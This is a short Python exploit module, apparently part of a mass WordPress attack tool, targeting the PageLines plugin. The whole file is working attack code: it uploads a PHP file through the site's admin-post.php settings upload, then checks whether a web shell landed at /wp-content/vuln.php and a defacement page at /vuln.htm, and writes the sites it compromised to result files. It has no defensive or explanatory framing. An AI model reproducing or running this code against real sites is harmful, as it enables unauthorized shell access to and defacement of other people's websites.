# coding=utf-8
import requests
from Exploits import printModule

pagelinesExploitShell = 'files/settings_auto.php'
Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'
}


def Exploit(site):
    try:
        FileShell = {'file': open(pagelinesExploitShell, 'rb')}
        PostData = {'settings_upload': "settings", 'page': "pagelines"}
        Useragent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
        url = "http://" + site + "/wp-admin/admin-post.php"
        GoT = requests.post(url, files=FileShell, data=PostData, headers=Useragent, timeout=5)
        if GoT.status_code == 200:
            CheckShell = requests.get('http://' + site + '/wp-content/vuln.php', timeout=5, headers=Headers)
            CheckIndex = requests.get('http://' + site + '/vuln.htm', timeout=5, headers=Headers)
            if 'Vuln!!' in CheckShell.content:
                with open('result/Shell_results.txt', 'a') as writer:
                    writer.write(site + '/wp-content/vuln.php' + '\n')
                if 'Vuln!!' in CheckIndex.content:
                    with open('result/Index_results.txt', 'a') as writer:
                        writer.write(site + '/vuln.htm' + '\n')
                return printModule.returnYes(site, 'N/A', 'Pagelines Plugin', 'Wordpress')
            else:
                return printModule.returnNo(site, 'N/A', 'Pagelines Plugin', 'Wordpress')
        else:
            return printModule.returnNo(site, 'N/A', 'Pagelines Plugin', 'Wordpress')
    except:
        return printModule.returnNo(site, 'N/A', 'Pagelines Plugin', 'Wordpress')
